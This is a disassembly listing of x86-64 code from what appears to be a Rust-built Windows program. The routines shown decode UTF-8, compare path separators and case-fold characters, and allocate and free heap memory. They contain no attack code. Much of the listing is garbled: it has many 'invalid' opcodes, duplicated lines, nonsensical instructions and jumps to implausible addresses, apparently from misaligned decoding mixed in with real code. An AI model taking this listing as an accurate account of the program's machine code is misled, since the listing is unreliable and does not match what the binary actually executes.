shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp r8b, 0xf0
jb 0x140050275
movzx eax, byte [rdi + 3]
add rdi, 4
mov dword [rbx + rax*4], 0xe1c107e1
adc al, cl
loop 0x14005022d
mov dword [rbx + rax*4], 0xe1c107e1
adc al, cl
loop 0x14005022d
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
enter 0x3d, 0
adc dword [rax], eax
je 0x140050530
nop dword [rax]
mov r13b, 1
test r12b, 1
je 0x140050290
mov ecx, r9d
and ecx, 0x10000
je 0x140050290
cmp eax, 0x2e
jne 0x140050290
invalid
invalid
jmp 0x140050552
add rdi, 2
shl ecx, 6
or ecx, r10d
mov eax, ecx
mov r13b, 1
test r12b, 1
jne 0x140050249
jmp 0x140050290
add rdi, 3
shl ecx, 0xc
add eax, ecx
loope 0x140050288
or edx, ecx
mov eax, edx
mov r13b, 1
test r12b, 1
jne 0x140050249
ror byte [rdi], 0x1f
add byte [rax], 0
add byte [rax], al
nop dword [rax]
cmp eax, 0x7f
ja 0x1400502c0
clc
jg 0x14005030b
sub edi, dword [rdi + rbp]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete r12b
or r12b, cl
or ah, cl
or ah, cl
mov eax, dword [r14]
cmp rax, 2
jne 0x1400502d0
jmp 0x140050190
xor r12d, r12d
mov eax, dword [r14]
cmp rax, 2
je 0x140050190
cmp eax, 3
jne 0x14005019f
test esi, eax
invalid
invalid
invalid
test esi, eax
invalid
test r12b, r12b
jne 0x14005019f
jmp 0x1400501ca
invalid
mov r13b, 2
cmp rdi, rsi
je 0x140050552
movzx r11d, byte [rdi]
movzx r8d, r11b
test r8b, r8b
js 0x1400503be
add byte [rax], al
inc rdi
cmp r8b, 0x2f
sete cl
cmp r8b, 0x5c
sete bpl
sete ch
or bpl, cl
mov cl, 1
lea rdx, [0x1400ef930]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov eax, dword [r14 + 4]
test cl, cl
je 0x140050366
cmp r8b, 0x5c
je 0x14005034b
add byte [rax], al
movzx ecx, al
enter 0xfffffffffffff983, 0x5c
enter 0xfffffffffffff983, 0x5c
je 0x14005052d
test r9b, 1
jne 0x14005043c
rol dword [rcx], 0xf
test esp, ecx
add byte [rax], al
add byte [rcx - 0x3ef6bb3f], cl
cmp ecx, 0x7f
ja 0x14005043c
lea ecx, [r8 - 0x41]
mov edx, r8d
xor edx, 0x20
cmp ecx, 0x1a
cmovae edx, r8d
lea ecx, [rax - 0x41]
mov r8d, eax
xor r8d, 0x20
cmp ecx, 0x1a
cmovae r8d, eax
cmp edx, r8d
je 0x14005052d
jmp 0x1400500fc
mov rdi, rsi
mov r9d, dword [rsp + 0xb8]
add cl, ch
jb 0x1400503bd
add byte [rax], al
add cl, ch
jb 0x1400503bd
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], al
mov ecx, r8d
and ecx, 0x1f
movzx r10d, byte [rdi + 1]
and r10d, 0x3f
cmp r8b, 0xdf
jbe 0x14005041c
movzx edx, byte [rdi + 2]
shl r10d, 6
shl edx, 6
shl edx, 6
and edx, 0x3f
or edx, r10d
cmp r11b, 0xf0
jb 0x14005044a
movzx r8d, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
adc al, cl
loop 0x1400503fb
adc al, cl
loop 0x1400503fb
and r8d, 0x3f
or r8d, edx
or r8d, ecx
cmp r8d, 0x110000
rol byte [rcx + 9], 1
enter 0xffffffffffff8141, 0xfffffffffffffff8
add byte [rax], al
adc dword [rax], eax
je 0x140050552
add rdi, 4
cmp r8d, 0x7f
jbe 0x140050310
jmp 0x140050460
add rdi, 2
shl ecx, 6
or ecx, r10d
mov r8d, ecx
cmp r8d, 0x7f
ja 0x140050460
jmp 0x140050310
mov rdi, rsi
jmp 0x140050530
cmp r8d, eax
je 0x14005052d
test al, ch
add byte [rax], al
invalid
test al, ch
add byte [rax], al
add cl, ch
mov dl, 0xfc
invalid
jmp 0x1400500fc
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov r8d, edx
cmp r8d, 0x7f
jbe 0x140050310
mov al, 0xfe
invalid
invalid
mov al, 0xfe
invalid
xor ecx, ecx
xor ebp, ebp
lea rdx, [0x1400ef930]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov eax, r9d
shr eax, 8
or byte [rcx - 0x4b], al
add dword [rax - 0x7c], eax
call 0x140d18993
add byte [rax], al
or byte [rcx - 0x4b], al
add dword [rax - 0x7c], eax
call 0x140d18993
add byte [rax], al
test r12b, 1
je 0x14005052d
mov eax, r9d
shr eax, 8
mov r13b, 1
test al, bpl
call 0x1409889cc
add byte [rax], al
call 0x1409889cc
add byte [rax], al
add byte [rax], al
add byte [rcx - 0xa], al
invalid
test r12b, 1
je 0x1400504d5
mov eax, r9d
and eax, 0x10000
je 0x1400504d5
cmp r8d, 0x2e
je 0x140050552
mov rcx, qword [r14 + 8]
mov rdx, qword [r14 + 0x18]
call fcn.140050590
mov r9d, dword [rsp + 0xb8]
test al, al
jne 0x14005052d
jmp 0x140050552
mov eax, r9d
shr eax, 8
mov r13b, 1
test al, bpl
jne 0x140050552
test r12b, 1
je 0x140050514
mov r12d, ebp
add r14, 0x20
inc rbx
mov rdx, qword [rsp + 0x40]
cmp r14, rdx
jne 0x140050130
test ebx, ebp
sti
invalid
invalid
test ebx, ebp
sti
invalid
jmp 0x1400500f3
xor r13d, r13d
jmp 0x140050552
mov r13d, eax
mov eax, r13d
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, [0x1400e07a8]
mov edx, 0x28
call fcn.1400a9e70
ud2
lea eax, [rbx - 0x41]
mov r9d, ebx
xor r9d, 0x20
cmp eax, 0x1a
cmovae r9d, ebx
cmp dword [rsp + 0x20], r9d
je 0x140050aea
add rcx, 8
cmp rcx, rdx
je 0x1400509fe
mov ebx, dword [rcx]
mov eax, dword [rcx + 4]
cmp eax, 0x110000
jne 0x140050680
cmp r8b, 0x5c
je 0x140050642
cmp dword [rsp + 0x24], 0x2f
jne 0x140050663
cmp ebx, 0x80
jae 0x140050663
mov al, 1
cmp bl, 0x2f
je 0x140050aec
movzx r9d, bl
cmp r9d, 0x5c
je 0x140050aec
mov eax, ebx
or eax, r8d
cmp eax, 0x7f
jbe 0x140050600
cmp ebx, r8d
jne 0x14005061c
jmp 0x140050aea
mov r9d, eax
or r9d, ebx
cmp r9d, 0x80
jae 0x140050800
lea r9d, [rbx - 0x41]
mov r14d, ebx
xor r14d, 0x20
cmp r9d, 0x1a
cmovae r14d, ebx
lea r9d, [rax - 0x41]
mov r15d, eax
xor r15d, 0x20
cmp r9d, 0x1a
cmovae r15d, eax
cmp r14d, 0x80
jae 0x1400506dd
lea r9d, [r14 - 0x61]
xor r12d, r12d
cmp r9b, 0x1a
setb r12b
shl r12d, 5
xor r12d, r14d
jmp 0x1400507cd
mov r12d, 0x5db
xor edi, edi
mov r13d, 0x5db
jmp 0x1400506f8
mov r13, r12
sub r12, rdi
jbe 0x14005072c
shr r12, 1
add r12, rdi
xor ebp, ebp
cmp dword [r11 + r12*8], r14d
setne bpl
cmovb ebp, esi
cmp bpl, 1
je 0x1400506f0
movzx r9d, bpl
cmp r9d, 0xff
jne 0x140050798
inc r12
mov rdi, r12
mov r12, r13
sub r12, rdi
ja 0x1400506f8
mov r12d, r14d
cmp r15d, 0x80
jb 0x1400507cd
mov r13d, 0x5db
xor edi, edi
mov ebp, 0x5db
jmp 0x14005075c
mov rbp, r13
sub r13, rdi
jbe 0x140050800
shr r13, 1
add r13, rdi
xor r9d, r9d
cmp dword [r11 + r13*8], r15d
setne r9b
cmovb r9d, esi
cmp r9b, 1
je 0x140050750
movzx r9d, r9b
cmp r9d, 0xff
jne 0x140050846
inc r13
mov rdi, r13
mov r13, rbp
sub r13, rdi
ja 0x14005075c
jmp 0x140050800
mov r12d, dword [r11 + r12*8 + 4]
cmp r12, 0x110000
je 0x140050817
lea r9d, [r15 - 0x61]
xor r13d, r13d
cmp r9b, 0x1a
setb r13b
xchg edx, eax
invalid
shl r13d, 5
xor r13d, r15d
sbb al, byte [rcx + 0xf]
xchg edx, eax
invalid
cmp r14d, r12d
je 0x140050800
cmp r15d, r13d
je 0x140050800
cmp dword [rsp + 0x20], r14d
and byte [rdx + 0xc], dh
jb 0x140050800
cmp dword [rsp + 0x20], r15d
and al, 0x20
jbe 0x140050aea
nop
cmp ebx, r8d
ja 0x14005061c
invalid
invalid
invalid
invalid
cmp eax, r8d
jb 0x14005061c
invalid
or bh, dh
invalid
invalid
ror byte [rdi], 0x82
or bh, dh
invalid
invalid
jmp 0x140050aea
rol dword [rdx], cl
add byte [rax], al
and r12d, 0x3fffff
lea r9, [r12 + r12*2]
cmp dword [r10 + r9*4 + 8], 0x110002
add al, byte [rax]
adc dword [rax], eax
or byte [rdx], al
add byte [rcx], dl
add byte [rdi], cl
test ah, cl
add al, byte [rax]
adc dword [rax], eax
je case.0x14004b0fb.147
add al, byte [rax]
add byte [rcx + rcx*4 - 0x29], cl
mov rdi, r10
mov rdi, r10
mov r12d, dword [r10 + r9*4]
cmp r15d, 0x80
jb 0x1400507cd
mov al, byte [rcx - 0x7f]
inc dword [rax + 0x72000000]
mov ecx, gs
add byte [rdx - 0x74], dh
jmp 0x14005073c
idiv dh
invalid
mov r13d, dword [r11 + r13*8 + 4]
cmp r13, 0x110000
std
add byte [rax], al
adc dword [rax], eax
je 0x140050872
invalid
mov r9d, r13d
xor r9d, 0xd800
add al, bl
add byte [rax], al
add al, bl
add byte [rax], al
add r9d, 0xffef0000
cmp r9d, 0xffef0800
cmp ecx, 0xffef0800
add byte [rax], al
out dx, eax
inc dword [rcx - 0x7f]
invalid
cmp ecx, 0xffef0800
stc
add byte [rax], cl
out dx, eax
dec dword [rdi]
xor dword [rcx - 1], 0xffffffff
inc dword [rcx - 0x7f]
in eax, 0xff
invalid
jae 0x1400507e3
jno 0x14005086f
invalid
invalid
and r13d, 0x3fffff
lea r9, [r13*2]
or al, 0x6d
add byte [rax], al
add byte [rax], al
or al, 0x6d
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + 1], cl
invalid
add r9, r13
add ecx, ebp
jmp 0xca8189cb
cmp dword [r10 + r9*4 + 8], 0x110002
je case.0x14004b0fb.148
mov rdi, r10
mov r13d, dword [r10 + r9*4]
mov ebp, dword [rdx + rcx*4]
mov ch, cl
invalid
jmp 0x1400507e3
inc dword [rcx - 0xa]
rol dword [rcx], 0xf
test dword [rsi], eax
add dword [rax], eax
add byte [rcx - 0x7f], al
clc
add byte [rax], 0
add byte [rax], al
jae 0x1400508fb
test r9b, 1
jne 0x1400509af
cmp r8d, 0x80
add byte [rax], al
jae 0x1400508fb
cmp r8b, 0x2f
cmp al, 0x2f
je case.0x14006b1f5.468
add byte [rax], al
movzx eax, r8b
cmp eax, 0x5c
je case.0x14006b1f5.468
jmp 0x140050abe
lock add dword [rax], eax
add dword [rax], eax
add byte [rsi - 0x70], ah
nop
lea r9d, [rax - 0x41]
lea ecx, [rax - 0x41]
mov r11d, eax
xor r11d, 0x20
cmp r9d, 0x1a
cmovae r11d, eax
cmp dword [rsp + 0x20], r11d
pop rsp
and al, 0x20
pop rsp
and al, 0x20
je 0x140050aea
test ah, bh
add dword [rax], eax
add byte [rax - 0x7d], cl
add ecx, 8
cmp rcx, rdx
add byte [rax], al
add rcx, 8
add ecx, 8
or byte [rax + 0x39], cl
ror dword [rdi], 1
test byte [rbx], al
add dword [rax], eax
add byte [rbx + 0x498b4401], cl
cmp rcx, rdx
je 0x1400509fe
mov eax, dword [rcx]
mov r9d, dword [rcx + 4]
add al, 0x41
cmp ecx, 0x110000
stc
add byte [rax], al
adc dword [rax], eax
invalid
add al, 0x41
cmp ecx, 0x110000
stc
add byte [rax], al
adc dword [rax], eax
invalid
stc
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rcx], dl
add byte [rbp + 0x16], dh
jne 0x140050920
mov r9d, eax
rol dword [rbp + 9], 0xc1
or r9d, r8d
cmp r9d, 0x7f
jbe 0x1400508d0
cmp eax, r8d
jne 0x1400508ee
jmp 0x140050aea
add byte [rax], al
cmp eax, r8d
cmp eax, eax
sal byte [rdi - 0x37], 0x45
cmp ecx, eax
ja 0x1400508ee
cmp r9d, r8d
jb 0x1400508ee
jmp 0x140050aea
mov ebx, 0x41000001
lea eax, [rcx - 0x41]
invalid
invalid
lea eax, [r9 - 0x41]
mov r15d, 0x41cb8945
xor ebx, 0x20
mov r11d, r9d
xor r11d, 0x20
cmp eax, 0x1a
cmovae r11d, r9d
cmp dword [rsp + 0x20], r11d
invalid
sbb al, byte [rbp + 0xf]
fld dword [r9 + r15 + 0x5c]
and al, 0x20
invalid
cmp dword [rsp + 0x20], ebx
and byte [rdi], cl
je 0x140050aea
test byte [rsi + 0x48000001], bl
add rcx, 8
add ecx, 8
xor eax, eax
cmp rcx, rdx
je 0x140050aec
mov r9d, dword [rcx]
mov eax, dword [rcx + 4]
add al, 0x3d
add byte [rax], al
adc dword [rax], eax
cmp eax, 0x110000
jne 0x1400509a0
cmp r9d, 0x7f
ja 0x140050988
mov al, 1
cmp r9b, 0x2f
je 0x140050aec
test byte [rdx + 1], dh
add byte [rax], al
test byte [rdx + 1], dh
add byte [rax], al
add dword [rax], eax
add byte [rbp + 0xf], al
movzx r11d, r9b
mov dh, 0xd9
fld dword [rcx - 0x7d]
sti
pop rsp
cmp r11d, 0x5c
je 0x140050aec
mov eax, r9d
or eax, r8d
cmp eax, 0x7f
invalid
jg 0x140050a08
jbe 0x14005092f
pushfq
cmp r9d, r8d
jne case.0x140023dd5.484
jmp 0x140050aea
add qword [r8], r8
add byte [rdi], cl
invalid
cmp r9d, r8d
ja case.0x140023dd5.484
cmp eax, r8d
jb case.0x140023dd5.484
jmp 0x140050aea
add dword [rax], eax
add byte [rcx - 0x7f], al
clc
add byte [rax], al
cmp r8d, 0x80
add byte [rax], 0
add byte [rbx + 0x2a], dh
add byte [rax], al
jae 0x1400509e2
cmp r8b, 0x2f
je 0x140050a28
movzx eax, r8b
cmp eax, 0x5c
je 0x140050a28
jmp 0x140050a80
mov ah, 0
add byte [rax], al
nop dword [rax]
invalid
invalid
add byte [rbp + 0x39], al
ror dword [rdi], 0x84
adc dword [rcx], eax
add byte [rax], al
cmp r9d, r8d
je 0x140050aea
add rcx, 8
cmp rcx, rdx
je 0x1400509fe
mov r9d, dword [rcx]
mov ecx, dword [rcx]
mov eax, dword [rcx + 4]
cmp eax, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
add byte [rcx], dl
add byte [rcx + riz*8 + 0x45], dh
cmp ecx, eax
je 0x1400509d0
cmp r9d, r8d
ja 0x1400509d9
cmp eax, r8d
jb 0x1400509d9
jmp 0x140050aea
add byte [rcx], dh
shr cl, 0xe7
add byte [rax], al
xor eax, eax
jmp 0x140050aec
invalid
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
nop dword [rax + rax]
cmp r9d, r8d
je 0x140050aea
invalid
add byte [rax - 0x7d], cl
ror dword [rax], 0x31
ror byte [rax + 0x39], 0xd1
add rcx, 8
xor eax, eax
cmp rcx, rdx
je 0x140050aec
mov r9d, dword [rcx]
mov eax, dword [rcx + 4]
cmp eax, 0x110000
jne 0x140050a60
cmp r9d, 0x7f
ja 0x140050a10
invalid
invalid
mov al, 1
cmp r9b, 0x2f
je 0x140050aec
movzx r10d, r9b
cmp r10d, 0x5c
jne 0x140050a10
jmp 0x140050aec
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x39], al
cmp r9d, r8d
sal dword [rdi - 0x4c], 0x44
cmp eax, eax
ja 0x140050a19
cmp eax, r8d
jb 0x140050a19
jmp 0x140050aea
cmp r9d, r8d
je 0x140050aea
add rcx, 8
add ecx, 8
ror dword [rax], 0x31
ror byte [rax + 0x39], 0xd1
xor eax, eax
cmp rcx, rdx
je 0x140050aec
mov r9d, dword [rcx]
mov eax, dword [rcx + 4]
cmp eax, 0x110000
je 0x140050a70
cmp r9d, r8d
cmp ecx, eax
ja 0x140050a75
cmp eax, r8d
jb 0x140050a75
jmp 0x140050aea
lea r9d, [rax - 0x41]
mov r11d, eax
xor r11d, 0x20
cmp r9d, 0x1a
cmovae r11d, eax
fadd dword [r9 + r15 + 0x5c]
and al, 0x20
fadd dword [r9 + r15 + 0x5c]
and al, 0x20
cmp dword [rsp + 0x20], ebx
je 0x140050aea
add rcx, 8
xor eax, eax
cmp rcx, rdx
je 0x140050aec
mov eax, dword [rcx]
mov r9d, dword [rcx + 4]
cmp r9d, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
jne 0x140050ae0
mov r9d, eax
mov ecx, eax
or r9d, r8d
cmp r9d, 0x7f
jbe 0x140050a99
cmp eax, r8d
jne case.0x14004ab59.315
jmp 0x140050aea
cmp eax, r8d
ja case.0x14004ab59.315
sal byte [rdi - 0x32], 0x45
cmp ecx, eax
jb case.0x14004ab59.315
mov al, 1
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e0840]
mov edx, 0x2b
add byte [rax], al
invalid
add byte [rbp + rcx*4 + 5], cl
xor eax, 0xba0008fd
sub eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add al, ch
pop rbx
xchg ebx, eax
call fcn.1400a9e70
ud2
add eax, 0x480b0f00
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e0858]
mov edx, 0x2b
add byte [rax], al
add al, ch
xchg r11d, eax
invalid
add byte [rdi], cl
invalid
add byte [rax], al
add al, ch
xchg r11d, eax
add eax, 0xcc0b0f00
add byte [rdi], cl
or ecx, esp
add byte [rdi], cl
or ecx, esp
int3
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x538
mov rdi, rdx
xlatb
xlatb
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
xor byte [rax - 0x75], cl
mov rax, qword [rdx + 0x270]
mov eax, dword [rdx + 0x270]
invalid
mov qword [rsp + 0x58], rax
lea r14, [rsp + 0x51]
lea r15, [rsp + 0x2d8]
fadd dword [rdx]
add byte [rax], al
fadd dword [rdx]
add byte [rax], al
add al, byte [rax]
add byte [rbp + rcx*4 - 0x54], cl
and al, 0x80
add byte [rax], 0
lea r13, [rsp + 0x80]
nop dword [rax]
add byte [rax], 0
add byte [rdi], cl
invalid
mov rcx, r15
mov rdx, rdi
call fcn.140083130
cmp qword [rsp + 0x2d8], 0
cmp dword [rsp + 0x2d8], 0
cmp dword [rsp + 0x2d8], 0
add byte [rax], al
je 0x140050db5
mov rax, qword [rsp + 0x2e0]
mov rbx, qword [rsp + 0x2e8]
add al, byte [rax]
add byte [rax - 0x7b], cl
invalid
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
je case.0x140032048.225
invalid
invalid
invalid
je case.0x140032048.225
test byte [rsi + 0x48000001], dl
mov ecx, dword [rdi + 0x268]
mov rcx, qword [rdi + 0x268]
movzx esi, byte [rcx]
mov qword [rsp + 0x80], rax
add byte [rax], 0
add byte [rax - 0x77], cl
pushfq
and al, 0x88
add byte [rax], al
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rsp + 0x2f0]
add byte [rax], 0
add byte [rax - 0x77], cl
pushfq
and al, 0x88
add byte [rax], al
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rsp + 0x2f0]
call sub.VCRUNTIME140.dll_memcpy
test sil, sil
je 0x140050c80
lea edx, [rsp + 0x2f0]
call sub.VCRUNTIME140.dll_memcpy
test sil, sil
je 0x140050c80
lea rcx, [rsp + 0x60]
mov rdx, r13
mov edx, ebp
mov edx, ebp
call fcn.140083380
add byte [rbx + rcx*4 + 0x64], cl
and al, 0x60
mov r12, qword [rsp + 0x60]
mov esp, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
mov rcx, r12
jo 0x140050c55
mov ecx, esp
call fcn.140085fe0
push rbx
add eax, dword [rax]
test rax, rax
test eax, eax
je 0x140050dd2
add byte [rax - 0x77], cl
invalid
mov rbp, rax
mov ebp, eax
mov rsi, rdx
test rdx, rdx
invalid
je 0x140050c90
sal byte [rsp + rbp*2 + 0x48], cl
test esi, esi
test rsi, rsi
js 0x140050dfb
mov dh, cl
add dword [rax], eax
add byte [rdi], cl
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
mov eax, dword [0x1400f91f8]
mov dh, 5
mov word [rsi - 0x74b7fff6], es
mov eax, dword [0x1400f91f8]
mov eax, dword [0x1400f91f8]
test rax, rax
test eax, eax
jne case.0x140032048.220
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140050dec
invalid
add byte [rax - 0x77], cl
add eax, 0xa85a2
mov qword [0x1400f91f8], rax
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140050c95
jmp 0x140050dec
lea rcx, [rsp + 0x38]
and al, 0x38
mov rdx, r13
call fcn.140083380
jmp 0x140050cd1
mov ebx, 1
mov rcx, rbx
mov rdx, rbp
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
mov byte [rsp + 0x50], 0
cmp qword [rsp + 0x68], 0
je 0x140050cd1
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
lock dec qword [rax]
jne 0x140050cec
mov rcx, qword [rsp + 0x80]
call fcn.140010290
mov rbx, qword [rsp + 0x38]
movups xmm0, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
movzx eax, byte [rsp + 0x50]
and al, 0x50
mov ecx, dword [r14]
mov edx, dword [r14 + 3]
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x2b], edx
cmp al, 2
je case.0x140032048.225
invalid
cmp ecx, dword [rbx - 0x74d7dbb4]
push rsp
mov ecx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x2b]
and al, 0x2b
and al, 0x2b
mov dword [rsp + 0x23], edx
mov dword [rsp + 0x20], ecx
cmp al, 3
je 0x140050b80
mov ecx, dword [rsp + 0x20]
and al, 0x20
mov edx, dword [rsp + 0x23]
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov dword [r8 + 0x1c], edx
mov dword [r8 + 0x19], ecx
push rax
sbb al, 0x41
mov dword [rax + 0x19], ecx
mov qword [r8], rbx
movups xmmword [r8 + 8], xmm0
mov byte [r8 + 0x18], al
jmp case.0x1400689bc.143
mov r15, qword [rsp + 0x58]
mov edi, dword [rsp + 0x58]
mov rax, qword [r15]
test rax, rax
je 0x140050db2
invalid
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
cli
add dh, byte [rdx + 0x4d]
invalid
cli
add dh, byte [rdx + 0x4d]
invalid
test rcx, rcx
test rcx, rcx
leave
je 0x140050db2
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
dec dword [rbx + rcx*4 + 0x70]
invalid
mov rcx, rdi
mov ecx, edi
dec dword [rbx + rcx*4 + 0x70]
invalid
mov ecx, edi
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140050da0
invalid
invalid
sbb eax, 0x107e8349
adc dword [rdx + 4], esi
cmp qword [r14 + 0x10], 0x11
adc byte [rcx], dl
jb 0x140050d8e
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rcx - 0x77], cl
clc
test byte [rdx], cl
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
push rsi
invalid
invalid
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
push rsi
test byte [0x15f8e56b6], 0x48
mov eax, dword [rsp + 0x30]
mov qword [r15], rbx
mov rax, qword [rsp + 0x30]
mov byte [rax + 0x18], 2
add rsp, 0x538
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e07f8]
mov edx, 0x2b
call fcn.1400a9e70
ud2
mov ecx, 1
mov rdx, rsi
call fcn.1400a9bd0
ud2
call fcn.1400401e0
ud2
mov dword [rsp + 0x20], esi
jmp 0x140050e9b
mov rbx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x20]
mov r14, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov qword [rbx], r13
mov qword [rbx + 8], rdx
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], rcx
mov rbx, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x40]
adc byte [rax - 0x77], cl
sbb byte [r8 - 0x75], cl
invalid
mov ebx, dword [rsp + 0x40]
pop rsp
and al, 0x40
inc r15
add qword [rsp + 0x48], 0x20
cmp r15, r14
je 0x140051246
invalid
and byte [rbp + 0x39], cl
test dword [rdi], 0x3ab84
add byte [rcx + rcx*4 - 2], cl
mov rsi, r15
shl rsi, 5
out 5, al
mov r13, qword [rbx + rsi]
mov r12, qword [rbx + rsi + 0x10]
mov rcx, qword [rbx + rsi - 0x20]
mov rdx, qword [rbx + rsi - 0x10]
push rsp
xor esi, eax
push rsp
xor esi, eax
call fcn.140085fe0
mov rdi, rax
mov rbp, rdx
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
jmp 0x128e79813
mov rdx, r12
call fcn.140085fe0
adc eax, 0x49000351
mov eax, edx
adc eax, 0x49000351
mov eax, edx
test rax, rax
je 0x1400511f0
test rdi, rdi
jne 0x1400511f0
test dword [rax], edx
add eax, dword [rax]
invalid
test dword [rax], edx
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rax, [rbx + rsi]
add al, 0x33
add rbx, rsi
add rbx, 0xffffffffffffffe0
mov rdx, qword [rax + 8]
mov rcx, qword [rax + 0x18]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
cmp r15, 1
je case.0x140046a5e.150
mov qword [rsp + 0x28], rdx
and al, 0x28
mov qword [rsp + 0x30], rcx
mov r14d, 1
mov rbx, qword [rsp + 0x48]
mov qword [rsp + 0x38], r15
jmp 0x140050f54
and al, 0x38
cmp r15, r14
je case.0x140046a5e.149
invalid
invalid
invalid
invalid
invalid
test byte [0x189050f54], cl
mov edi, dword [rbx - 0x20]
mov rdi, qword [rbx - 0x20]
mov rbp, qword [rbx - 0x10]
lea r15, [rsp + 0x50]
and al, 0x50
and al, 0x50
mov rcx, r15
stc
mov rdx, rdi
mov edx, edi
mov r8, rbp
call fcn.14007e360
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
jo 0x140050fcb
lea r8, [0x1400ef948]
lea eax, [0x1400ef948]
add eax, 0x9e9c3
or dword [rax], eax
movsxd r9, dword [r8 + rax*4]
add r9, r8
mov rax, rbp
mov r8, rdi
jmp r9
invalid
loope 0x140050fde
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x35
jmp 0x140050fd0
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 8
jmp 0x140050fd0
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], cl
ret 0x148
mov ecx, 6
add byte [rax], al
jmp 0x140050fd0
lea rax, [rdx + 1]
test rdx, rdx
test edx, edx
test edx, edx
cmove rax, rdx
add rcx, rax
add rcx, 2
jmp 0x140050fd0
mov ecx, 2
add al, byte [rax]
add byte [rax], al
nop
mov rax, rbp
sub rax, rcx
enter 0xffffffffffff820f, 0x7e
add al, byte [rax]
invalid
enter 0xffffffffffff820f, 0x7e
add al, byte [rax]
add byte [rax + 1], cl
invalid
invalid
add rcx, rdi
stc
mov r8, rcx
test rax, rax
je 0x140051000
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x140051002
xor eax, eax
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x90], rbp
